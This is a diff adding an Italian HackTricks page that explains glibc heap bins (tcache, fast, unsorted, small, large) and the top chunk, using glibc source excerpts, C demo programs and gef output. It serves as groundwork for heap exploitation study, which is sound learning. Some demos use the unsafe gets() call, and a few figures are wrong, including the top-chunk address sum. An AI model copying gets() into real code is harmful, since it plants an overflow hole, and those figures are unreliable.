b/binary-exploitation/libc-heap/bins-and-memory-allocations.md @@ -0,0 +1,624 @@ +# Bins e Assegnazioni di Memoria + +
+ +Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! + +Altri modi per supportare HackTricks: + +* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! +* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) +* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) +* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. + +
+ +## Informazioni di Base + +Per migliorare l'efficienza su come i chunk sono memorizzati, ogni chunk non è solo in una lista concatenata, ma ci sono diversi tipi. Questi sono i bins e ci sono 5 tipi di bins: [62](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=blob;f=malloc/malloc.c;h=6e766d11bc85b6480fa5c9f2a76559f8acf9deb5;hb=HEAD#l1407) small bins, 63 large bins, 1 unsorted bin, 10 fast bins e 64 tcache bins per thread. + +L'indirizzo iniziale di ogni bin non ordinato, small e large è all'interno dello stesso array. L'indice 0 non è utilizzato, 1 è l'unsorted bin, i bins da 2 a 64 sono small bins e i bins da 65 a 127 sono large bins. + +### Bins Tcache (Cache Per-Thread) + +Anche se i thread cercano di avere il proprio heap (vedi [Arenas](bins-and-memory-allocations.md#arenas) e [Subheaps](bins-and-memory-allocations.md#subheaps)), c'è la possibilità che un processo con molti thread (come un server web) **finirà per condividere l'heap con altri thread**. In questo caso, la soluzione principale è l'uso di **lock**, che potrebbero **rallentare significativamente i thread**. + +Pertanto, un tcache è simile a un bin veloce per thread nel senso che è una **lista concatenata singola** che non unisce i chunk. Ogni thread ha **64 tcache bins collegati singolarmente**. Ogni bin può avere un massimo di [7 chunk della stessa dimensione](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) che vanno da [24 a 1032B su sistemi a 64 bit e da 12 a 516B su sistemi a 32 bit](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315). + +Quando un thread libera un chunk, se non è troppo grande da essere allocato nel tcache e il rispettivo bin tcache **non è pieno** (già 7 chunk), **verrà allocato lì**. Se non può andare nel tcache, dovrà aspettare che il lock dell'heap sia in grado di eseguire l'operazione di liberazione globalmente. + +Quando un **chunk viene allocato**, se c'è un chunk libero della dimensione necessaria nel **Tcache lo utilizzerà**, altrimenti dovrà aspettare che il lock dell'heap sia in grado di trovarne uno nei bin globali o crearne uno nuovo.\ +C'è anche un'ottimizzazione, in questo caso, avendo il lock dell'heap, il thread **riempirà il suo Tcache con chunk dell'heap (7) della dimensione richiesta**, quindi nel caso ne abbia bisogno di più, li troverà nel Tcache. + +
+ +Aggiungi un esempio di chunk tcache +```c +#include +#include + +int main(void) +{ +char *chunk; +chunk = malloc(24); +printf("Address of the chunk: %p\n", (void *)chunk); +gets(chunk); +free(chunk); +return 0; +} +``` +Compilalo e debuggalo con un breakpoint nell'opcode ret dalla funzione main. Poi con gef puoi vedere il bin tcache in uso: +```bash +gef➤ heap bins +──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── +Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +``` +#### Strutture e Funzioni Tcache + +Nel codice seguente è possibile vedere i **max bins** e i **chunks per index**, la struct **`tcache_entry`** creata per evitare doppie liberazioni e **`tcache_perthread_struct`**, una struct che ogni thread utilizza per memorizzare gli indirizzi di ogni indice del bin. + +
+ +tcache_entry e tcache_perthread_struct +```c +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c + +/* We want 64 entries. This is an arbitrary limit, which tunables can reduce. */ +# define TCACHE_MAX_BINS 64 +# define MAX_TCACHE_SIZE tidx2usize (TCACHE_MAX_BINS-1) + +/* Only used to pre-fill the tunables. */ +# define tidx2usize(idx) (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ) + +/* When "x" is from chunksize(). */ +# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT) +/* When "x" is a user-provided size. */ +# define usize2tidx(x) csize2tidx (request2size (x)) + +/* With rounding and alignment, the bins are... +idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit) +idx 1 bytes 25..40 or 13..20 +idx 2 bytes 41..56 or 21..28 +etc. */ + +/* This is another arbitrary limit, which tunables can change. Each +tcache bin will hold at most this number of chunks. */ +# define TCACHE_FILL_COUNT 7 + +/* Maximum chunks in tcache bins for tunables. This value must fit the range +of tcache->counts[] entries, else they may overflow. */ +# define MAX_TCACHE_COUNT UINT16_MAX + +[...] + +typedef struct tcache_entry +{ +struct tcache_entry *next; +/* This field exists to detect double frees. */ +uintptr_t key; +} tcache_entry; + +/* There is one of these for each thread, which contains the +per-thread cache (hence "tcache_perthread_struct"). Keeping +overall size low is mildly important. Note that COUNTS and ENTRIES +are redundant (we could have just counted the linked list each +time), this is for performance reasons. */ +typedef struct tcache_perthread_struct +{ +uint16_t counts[TCACHE_MAX_BINS]; +tcache_entry *entries[TCACHE_MAX_BINS]; +} tcache_perthread_struct; +``` +
+ +La funzione `__tcache_init` è la funzione che crea e alloca lo spazio per l'oggetto `tcache_perthread_struct` + +
+ +codice tcache_init +```c +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2 + +static void +tcache_init(void) +{ +mstate ar_ptr; +void *victim = 0; +const size_t bytes = sizeof (tcache_perthread_struct); + +if (tcache_shutting_down) +return; + +arena_get (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +if (!victim && ar_ptr != NULL) +{ +ar_ptr = arena_get_retry (ar_ptr, bytes); +victim = _int_malloc (ar_ptr, bytes); +} + + +if (ar_ptr != NULL) +__libc_lock_unlock (ar_ptr->mutex); + +/* In a low memory situation, we may not be able to allocate memory +- in which case, we just keep trying later. However, we +typically do this very early, so either there is sufficient +memory, or there isn't enough memory to do non-trivial +allocations anyway. */ +if (victim) +{ +tcache = (tcache_perthread_struct *) victim; +memset (tcache, 0, sizeof (tcache_perthread_struct)); +} + +} +``` +
+ +#### Indici Tcache + +Il tcache ha diversi blocchi a seconda della dimensione e i puntatori iniziali al **primo chunk di ciascun indice e la quantità di chunk per indice sono situati all'interno di un chunk**. Ciò significa che individuando il chunk con queste informazioni (di solito il primo), è possibile trovare tutti i punti iniziali del tcache e la quantità di chunk del Tcache. + +### Bins veloci + +I bins veloci sono progettati per **accelerare l'allocazione di memoria per piccoli chunk** mantenendo i chunk liberati di recente in una struttura di accesso rapido. Questi blocchi utilizzano un approccio Last-In, First-Out (LIFO), il che significa che il **chunk liberato più di recente è il primo** ad essere riutilizzato quando c'è una nuova richiesta di allocazione. Questo comportamento è vantaggioso per la velocità, poiché è più veloce inserire e rimuovere dalla cima di uno stack (LIFO) rispetto a una coda (FIFO). + +Inoltre, **i blocchi veloci utilizzano liste collegate singolarmente**, non doppie, il che migliora ulteriormente la velocità. Poiché i chunk nei blocchi veloci non vengono uniti con i vicini, non c'è bisogno di una struttura complessa che consenta la rimozione dal mezzo. Una lista collegata singolarmente è più semplice e veloce per queste operazioni. + +Fondamentalmente, ciò che accade qui è che l'intestazione (il puntatore al primo chunk da controllare) punta sempre all'ultimo chunk liberato di quella dimensione. Quindi: + +* Quando viene allocato un nuovo chunk di quella dimensione, l'intestazione punta a un chunk libero da utilizzare. Poiché questo chunk libero punta al successivo da utilizzare, questo indirizzo viene memorizzato nell'intestazione in modo che la prossima allocazione sappia dove ottenere un chunk disponibile +* Quando un chunk viene liberato, il chunk libero salverà l'indirizzo al chunk disponibile corrente e l'indirizzo a questo nuovo chunk liberato verrà inserito nell'intestazione + +La dimensione massima di una lista collegata è `0x80` e sono organizzate in modo che un chunk di dimensione `0x20-0x2f` sarà nell'indice `0`, un chunk di dimensione `0x30-0x3f` sarebbe in `idx` `1`... + +{% hint style="danger" %} +I chunk nei blocchi veloci non vengono impostati come disponibili, quindi vengono mantenuti come chunk di bin veloci per un certo periodo anziché poter essere uniti con altri chunk liberi circostanti. +{% endhint %} +```c +// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 + +/* +Fastbins + +An array of lists holding recently freed small chunks. Fastbins +are not doubly linked. It is faster to single-link them, and +since chunks are never removed from the middles of these lists, +double linking is not necessary. Also, unlike regular bins, they +are not even processed in FIFO order (they use faster LIFO) since +ordering doesn't much matter in the transient contexts in which +fastbins are normally used. + +Chunks in fastbins keep their inuse bit set, so they cannot +be consolidated with other free chunks. malloc_consolidate +releases all chunks in fastbins and consolidates them with +other free chunks. +*/ + +typedef struct malloc_chunk *mfastbinptr; +#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx]) + +/* offset 2 to use otherwise unindexable first 2 bins */ +#define fastbin_index(sz) \ +((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) + + +/* The maximum fastbin request size we support */ +#define MAX_FAST_SIZE (80 * SIZE_SZ / 4) + +#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1) +``` + + +Aggiungi un esempio di chunk fastbin +```c +#include +#include + +int main(void) +{ +char *chunks[8]; +int i; + +// Loop to allocate memory 8 times +for (i = 0; i < 8; i++) { +chunks[i] = malloc(24); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} + +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} + +return 0; +} +``` +Nota come allocare e liberare 8 chunk dello stesso size in modo che riempiano la tcache e l'ottavo venga memorizzato nel fast chunk. + +Compilalo e debuggalo con un breakpoint nell'opcode ret della funzione principale. Poi con gef puoi vedere il riempimento del tcache bin e il chunk in fast bin: +```bash +gef➤ heap bins +──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── +Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac1750, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac1730, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac1710, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac16f0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac16d0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +───────────────────────────────────────────────────────────────────────── Fastbins for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────── +Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +Fastbins[idx=1, size=0x30] 0x00 +``` +
+ +### Bins non ordinati + +Il bin non ordinato è una **cache** utilizzata dal gestore dell'heap per rendere più veloce l'allocazione di memoria. Ecco come funziona: quando un programma libera un chunk e se questo chunk non può essere allocato in un tcache o fast bin e non entra in collisione con il top chunk, il gestore dell'heap non lo mette immediatamente in un bin specifico piccolo o grande. Invece, prima cerca di **fonderlo con eventuali chunk liberi vicini** per creare un blocco più grande di memoria libera. Successivamente, posiziona questo nuovo chunk in un bin generale chiamato "bin non ordinato". + +Quando un programma **richiede memoria**, il gestore dell'heap **controlla il bin non ordinato** per vedere se c'è un chunk di dimensioni adeguate. Se ne trova uno, lo utilizza immediatamente. Se non trova un chunk adatto nel bin non ordinato, sposta tutti i chunk in questo elenco nei rispettivi bin, piccoli o grandi, in base alle loro dimensioni. + +Si noti che se un chunk più grande viene diviso in 2 metà e il resto è più grande di MINSIZE, verrà riposizionato nel bin non ordinato. + +Quindi, il bin non ordinato è un modo per velocizzare l'allocazione di memoria riutilizzando rapidamente la memoria liberata di recente e riducendo la necessità di ricerche e fusioni che richiedono tempo. + +{% hint style="danger" %} +Si noti che anche se i chunk sono di categorie diverse, se un chunk disponibile entra in collisione con un altro chunk disponibile (anche se appartengono originariamente a bin diversi), verranno fusi. +{% endhint %} + +
+ +Aggiungi un esempio di chunk non ordinato +```c +#include +#include + +int main(void) +{ +char *chunks[9]; +int i; + +// Loop to allocate memory 8 times +for (i = 0; i < 9; i++) { +chunks[i] = malloc(0x100); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} + +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} + +return 0; +} +``` +Nota come allocare e liberare 9 chunk dello stesso size in modo che **riempiano il tcache** e l'ottavo sia memorizzato nell'unsorted bin perché è **troppo grande per il fastbin** e il nono non è liberato quindi il nono e l'ottavo **non vengono uniti con il top chunk**. + +Compilalo e debuggalo con un breakpoint nell'opcode ret dalla funzione main. Poi con gef puoi vedere il riempimento del tcache bin e il chunk nell'unsorted bin: +```bash +gef➤ heap bins +──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── +Tcachebins[idx=15, size=0x110, count=7] ← Chunk(addr=0xaaaaaaac1d10, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac1c00, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac1af0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac19e0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac18d0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac17c0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac12a0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +───────────────────────────────────────────────────────────────────────── Fastbins for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────── +Fastbins[idx=0, size=0x20] 0x00 +Fastbins[idx=1, size=0x30] 0x00 +Fastbins[idx=2, size=0x40] 0x00 +Fastbins[idx=3, size=0x50] 0x00 +Fastbins[idx=4, size=0x60] 0x00 +Fastbins[idx=5, size=0x70] 0x00 +Fastbins[idx=6, size=0x80] 0x00 +─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────── +[+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10 +→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +[+] Found 1 chunks in unsorted bin. +``` +
+ +### Bins Piccoli + +I bins piccoli sono più veloci dei bins grandi ma più lenti dei fast bins. + +Ogni bin dei 62 avrà **chunk della stessa dimensione**: 16, 24, ... (con una dimensione massima di 504 byte in 32 bit e 1024 in 64 bit). Questo aiuta nella velocità nel trovare il bin in cui dovrebbe essere allocato uno spazio e nell'inserimento e rimozione delle voci in queste liste. + +Ecco come viene calcolata la dimensione del bin piccolo in base all'indice del bin: + +* Dimensione più piccola: 2\*4\*indice (es. indice 5 -> 40) +* Dimensione più grande: 2\*8\*indice (es. indice 5 -> 80) +```c +// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 +#define NSMALLBINS 64 +#define SMALLBIN_WIDTH MALLOC_ALIGNMENT +#define SMALLBIN_CORRECTION (MALLOC_ALIGNMENT > CHUNK_HDR_SZ) +#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH) + +#define in_smallbin_range(sz) \ +((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE) + +#define smallbin_index(sz) \ +((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\ ++ SMALLBIN_CORRECTION) +``` +Funzione per scegliere tra i bin piccoli e grandi: +```c +#define bin_index(sz) \ +((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz)) +``` + + +Aggiungi un esempio di piccolo chunk +```c +#include +#include + +int main(void) +{ +char *chunks[10]; +int i; + +// Loop to allocate memory 8 times +for (i = 0; i < 9; i++) { +chunks[i] = malloc(0x100); +if (chunks[i] == NULL) { // Check if malloc failed +fprintf(stderr, "Memory allocation failed at iteration %d\n", i); +return 1; +} +printf("Address of chunk %d: %p\n", i, (void *)chunks[i]); +} + +// Loop to free the allocated memory +for (i = 0; i < 8; i++) { +free(chunks[i]); +} + +chunks[9] = malloc(0x110); + +return 0; +} +``` +Nota come allocare e liberare 9 chunk dello stesso size in modo che riempiano il tcache e l'ottavo venga memorizzato nell'unsorted bin perché è troppo grande per il fastbin e il nono non viene liberato in modo che il nono e l'ottavo non vengano uniti con il top chunk. Successivamente allocare un chunk più grande di 0x110 che fa sì che il chunk nell'unsorted bin vada al small bin. + +Compilalo e debuggalo con un breakpoint nell'opcode ret dalla funzione main. Poi con gef puoi vedere il riempimento del tcache bin e il chunk nel small bin: +```bash +gef➤ heap bins +──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── +Tcachebins[idx=15, size=0x110, count=7] ← Chunk(addr=0xaaaaaaac1d10, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac1c00, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac1af0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac19e0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac18d0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac17c0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← Chunk(addr=0xaaaaaaac12a0, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +───────────────────────────────────────────────────────────────────────── Fastbins for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────── +Fastbins[idx=0, size=0x20] 0x00 +Fastbins[idx=1, size=0x30] 0x00 +Fastbins[idx=2, size=0x40] 0x00 +Fastbins[idx=3, size=0x50] 0x00 +Fastbins[idx=4, size=0x60] 0x00 +Fastbins[idx=5, size=0x70] 0x00 +Fastbins[idx=6, size=0x80] 0x00 +─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────── +[+] Found 0 chunks in unsorted bin. +──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── +[+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10 +→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +[+] Found 1 chunks in 1 small non-empty bins. +``` + + +### Bins grandi + +A differenza dei blocchi piccoli, che gestiscono porzioni di dimensioni fisse, **ogni bin grande gestisce un intervallo di dimensioni di blocco**. Questo è più flessibile, permettendo al sistema di gestire **varie dimensioni** senza la necessità di avere un bin separato per ogni dimensione. + +In un allocatore di memoria, i bin grandi iniziano dove finiscono i bin piccoli. Gli intervalli per i bin grandi crescono progressivamente, il che significa che il primo bin potrebbe coprire blocchi da 512 a 576 byte, mentre il successivo copre da 576 a 640 byte. Questo modello continua, con il bin più grande che contiene tutti i blocchi sopra 1MB. + +I bin grandi sono più lenti da gestire rispetto ai bin piccoli perché devono **ordinare e cercare in una lista di dimensioni di blocco variabili per trovare la migliore corrispondenza** per un'allocazione. Quando un blocco viene inserito in un bin grande, deve essere ordinato e quando la memoria viene allocata, il sistema deve trovare il blocco giusto. Questo lavoro aggiuntivo li rende **più lenti**, ma poiché le allocazioni grandi sono meno comuni di quelle piccole, è un compromesso accettabile. + +Ci sono: + +* 32 bin di intervallo 64B (collidono con i bin piccoli) +* 16 bin di intervallo 512B (collidono con i bin piccoli) +* 8 bin di intervallo 4096B (in parte collidono con i bin piccoli) +* 4 bin di intervallo 32768B +* 2 bin di intervallo 262144B +* 1 bin per le dimensioni rimanenti + +
+ +Codice delle dimensioni dei bin grandi +```c +// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 + +#define largebin_index_32(sz) \ +(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) + +#define largebin_index_32_big(sz) \ +(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) + +// XXX It remains to be seen whether it is good to keep the widths of +// XXX the buckets the same or whether it should be scaled by a factor +// XXX of two as well. +#define largebin_index_64(sz) \ +(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\ +((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ +((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ +((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ +((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ +126) + +#define largebin_index(sz) \ +(SIZE_SZ == 8 ? largebin_index_64 (sz) \ +: MALLOC_ALIGNMENT == 16 ? largebin_index_32_big (sz) \ +: largebin_index_32 (sz)) +``` +
+ +
+ +Aggiungi un esempio di chunk grande +```c +#include +#include + +int main(void) +{ +char *chunks[2]; + +chunks[0] = malloc(0x1500); +chunks[1] = malloc(0x1500); +free(chunks[0]); +chunks[0] = malloc(0x2000); + +return 0; +} +``` +Due grandi allocazioni vengono eseguite, poi una viene liberata (mettendola nel unsorted bin) e viene effettuata un'allocazione più grande (spostando quella liberata dall'unsorted bin al large bin). + +Compilalo e debuggalo con un breakpoint nell'opcode ret dalla funzione main. Poi con gef puoi vedere il riempimento del tcache bin e il chunk nel large bin: +```bash +gef➤ heap bin +──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ──────────────────────────────────────────────────────────────────────────────── +All tcachebins are empty +───────────────────────────────────────────────────────────────────────── Fastbins for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────── +Fastbins[idx=0, size=0x20] 0x00 +Fastbins[idx=1, size=0x30] 0x00 +Fastbins[idx=2, size=0x40] 0x00 +Fastbins[idx=3, size=0x50] 0x00 +Fastbins[idx=4, size=0x60] 0x00 +Fastbins[idx=5, size=0x70] 0x00 +Fastbins[idx=6, size=0x80] 0x00 +─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ─────────────────────────────────────────────────────────────────────── +[+] Found 0 chunks in unsorted bin. +──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── +[+] Found 0 chunks in 0 small non-empty bins. +──────────────────────────────────────────────────────────────────────── Large Bins for arena at 0xfffff7f90b00 ──────────────────────────────────────────────────────────────────────── +[+] large_bins[100]: fw=0xaaaaaaac1290, bk=0xaaaaaaac1290 +→ Chunk(addr=0xaaaaaaac12a0, size=0x1510, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +[+] Found 1 chunks in 1 large non-empty bins. +``` +
+ +### Chunk Principale +```c +// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711 + +/* +Top + +The top-most available chunk (i.e., the one bordering the end of +available memory) is treated specially. It is never included in +any bin, is used only if no other chunk is available, and is +released back to the system if it is very large (see +M_TRIM_THRESHOLD). Because top initially +points to its own bin with initial zero size, thus forcing +extension on the first malloc request, we avoid having any special +code in malloc to check whether it even exists yet. But we still +need to do so when getting memory from system, so we make +initial_top treat the bin as a legal but unusable chunk during the +interval between initialization and the first call to +sysmalloc. (This is somewhat delicate, since it relies on +the 2 preceding words to be zero during this interval as well.) +*/ + +/* Conveniently, the unsorted bin can be used as dummy top on first call */ +#define initial_top(M) (unsorted_chunks (M)) +``` +Fondamentalmente, questo è un chunk che contiene tutto l'heap attualmente disponibile. Quando viene eseguito un malloc, se non c'è alcun chunk libero disponibile da utilizzare, questo top chunk ridurrà la sua dimensione fornendo lo spazio necessario.\ +Il puntatore al Top Chunk è memorizzato nella struttura `malloc_state`. + +Inoltre, all'inizio, è possibile utilizzare lo chunk non ordinato come top chunk. + +
+ +Osserva l'esempio del Top Chunk +```c +#include +#include + +int main(void) +{ +char *chunk; +chunk = malloc(24); +printf("Address of the chunk: %p\n", (void *)chunk); +gets(chunk); +return 0; +} +``` +Dopo aver compilato e eseguito il debug con un punto di interruzione nell'opcode di ritorno di main, ho visto che il malloc ha restituito l'indirizzo: `0xaaaaaaac12a0` e questi sono i chunk: +```bash +gef➤ heap chunks +Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +[0x0000aaaaaaac1010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................] +Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +[0x0000aaaaaaac12a0 41 41 41 41 41 41 41 00 00 00 00 00 00 00 00 00 AAAAAAA.........] +Chunk(addr=0xaaaaaaac12c0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +[0x0000aaaaaaac12c0 41 64 64 72 65 73 73 20 6f 66 20 74 68 65 20 63 Address of the c] +Chunk(addr=0xaaaaaaac16d0, size=0x410, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) +[0x0000aaaaaaac16d0 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00 00 AAAAAAA.........] +Chunk(addr=0xaaaaaaac1ae0, size=0x20530, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) ← top chunk +``` +Dove si può vedere che il chunk superiore si trova all'indirizzo `0xaaaaaaac1ae0`. Questo non è una sorpresa perché l'ultimo chunk allocato era in `0xaaaaaaac12a0` con una dimensione di `0x410` e `0xaaaaaaac12a0 + 0x410 = 0xaaaaaaac1ae0`.\ +È anche possibile vedere la lunghezza del chunk superiore nell'intestazione del chunk: +```bash +gef➤ x/8wx 0xaaaaaaac1ae0 - 16 +0xaaaaaaac1ad0: 0x00000000 0x00000000 0x00020531 0x00000000 +0xaaaaaaac1ae0: 0x00000000 0x00000000 0x00000000 0x00000000 +``` +
